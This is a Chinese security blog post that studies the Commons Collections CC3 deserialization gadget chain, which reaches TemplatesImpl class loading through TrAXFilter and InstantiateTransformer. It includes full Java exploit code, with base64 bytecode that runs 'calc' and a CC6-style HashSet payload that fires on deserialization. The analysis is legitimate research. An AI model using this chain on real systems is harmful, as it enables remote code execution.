CC3链分析

本文最后更新于:2024年10月9日 晚上

CC3链:绕过对InvokerTransformer的检测

本文主要学习自Java安全漫谈

起源于InvokerTransformer的CC链自然也会有被写入检测规则的时候,所以需要另辟蹊径

CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这里不用单独导入pom依赖,在jdk中的rt.jar直接打包了,rt.jar是JAVA基础类库,包含lang在内的大部分功能

Java安全漫谈中提出高版本利用构造,所以我这里直接构造高版本的链,jdk版本为1.8.0_92

TemplatesImpl动态加载类

在CC1,CC6中,我们最终都是都是通过调用Runtime类来实现命令执行,但是在Java中,提供了一种动态加载类的方法,之前分析过的Log4j2解析漏洞,底层就是通过JNDI支持rmi协议,而rmi协议支持远程加载我们的恶意类,通过 URLClassLoader去实现的。

URLClassLoader加载的.class文件,也就是java字节码,

loadClass:作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass

findClass:作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass

defineClass:作用是处理前面传入的字节码,将其处理成真正的Java类

真正核心的部分其实是defineClass,他决定了如何将一段字节流转变成一个Java类,Java 默认的ClassLoader#defineClass是一个native方法,逻辑在JVM的C语言代码中

defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用 defineClass在目标机器上执行任意代码,需要想办法调用构造函数。

defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl的基石

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader

这个类里重写了defineClass方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。查看对其调用链:

TransletClassLoader#defineClass()

TemplatesImpl#defineTransletClasses()

TemplatesImpl#getTransletInstance()

TemplatesImpl#newTransformer(),到这个函数这里就是public,可以被外部调用了

1
2
3
4
5
TemplatesImpl.getOutputProperties()
->TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> TransletClassLoader.defineClass()

贴一段测试代码:只需要赋值_bytecodes_name_tfactory三个变量即可实现动态加载类实现代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void testTemplatesImpl() throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
"DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}

TemplatesImpl中加载的字节码对应的类必须是apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

但是到这里,突然想到,使用defineClass加载的类无法直接执行,需要调用其构造函数才能执行,那么这个构造函数在哪里调用的,我现在分析一下,看到TemplatesImpl.java中414行的位置,可以看到使用的defineClass会为成员变量_class赋值,也就是动态加载的类被赋值进去了

1
_class[i] = loader.defineClass(_bytecodes[i]);

然后return,看到451行的位置,这里是调用处

1
if (_class == null) defineTransletClasses();

在它下面455行,就是构造函数触发的地方,这里也说明为什么我们构造的类需要是AbstractTranslet的子类

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

到这里,使用TemplatesImpl动态加载类就完成了

CC3

回到TrAXFilter类中,发现其构造函数中会自然调用TemplatesImpl#newTransformer(),那么我们就可以通过构造TrAXFilter一个实例,调用其构造函数即可实现恶意类加载,如何实现调用构造函数而又不出现InvokerTransformer,这里引入了一个新的函数,collections.functors.InstantiateTransformer,找到它的transform方法,可以发现这里得到传入参数input的构造器,然后通过传入的iArgs参数去构造实例。

现在就考虑iArgs需要哪些,也就是TrAXFilter的构造函数中赋值的属性值,可以发现最重要的就是templates,它属于Templates接口类

1
2
3
4
5
6
7
public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

那就去实现一个TemplatesImpl类,刚刚在上面已经实现过了,只需要更换一下base64编码后的字节码。这里的input就是我们的TrAXFilter作为参数传入,在高版本利用情况下,直接将CC6的前半段接上就行了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void main(String[] args) throws Exception {
byte[] CalcCode = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" +
"W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" +
"jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" +
"GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" +
"4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" +
"ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" +
"MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" +
"HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" +
"lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" +
"2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" +
"nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" +
"AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" +
"ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" +
"bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg=="
);
TemplatesImpl calcTemp = new TemplatesImpl();
setFieldValue(calcTemp, "_bytecodes", new byte[][] {CalcCode});
setFieldValue(calcTemp, "_name", "CalcTemplatesImpl");
setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calcTemp})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

// CC6前半段,高版本jdk利用
Map lazyMap = LazyMap.decorate(new HashMap<>(),transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
Map tiedMap = new HashMap<>();
tiedMap.put(tiedMapEntry,"Exp");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMap);
lazyMap.remove("key");

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

最后捋一捋:

使用的是动态加载类的思想,关键在于如何触发TrAXFilter的构造函数,于是发现了新的带有transformInstantiateTransformer

1
2
3
4
5
6
7
8
CC6前半段
->InstantiateTransformer#transform()
->TrAXFilter#TrAXFilter()
->TemplatesImpl#TemplatesImpl()
->TemplatesImpl#newTransformer()
->TemplatesImpl#getTransletInstance()
->TemplatesImpl#defineTransletClasses()
->TransletClassLoader#defineClass()

CC链分析完整测试代码,可直接拉取


CC3链分析
https://3xsh0re.github.io/2024/09/29/CC3链分析/
作者
3xsh0re
发布于
2024年9月29日
许可协议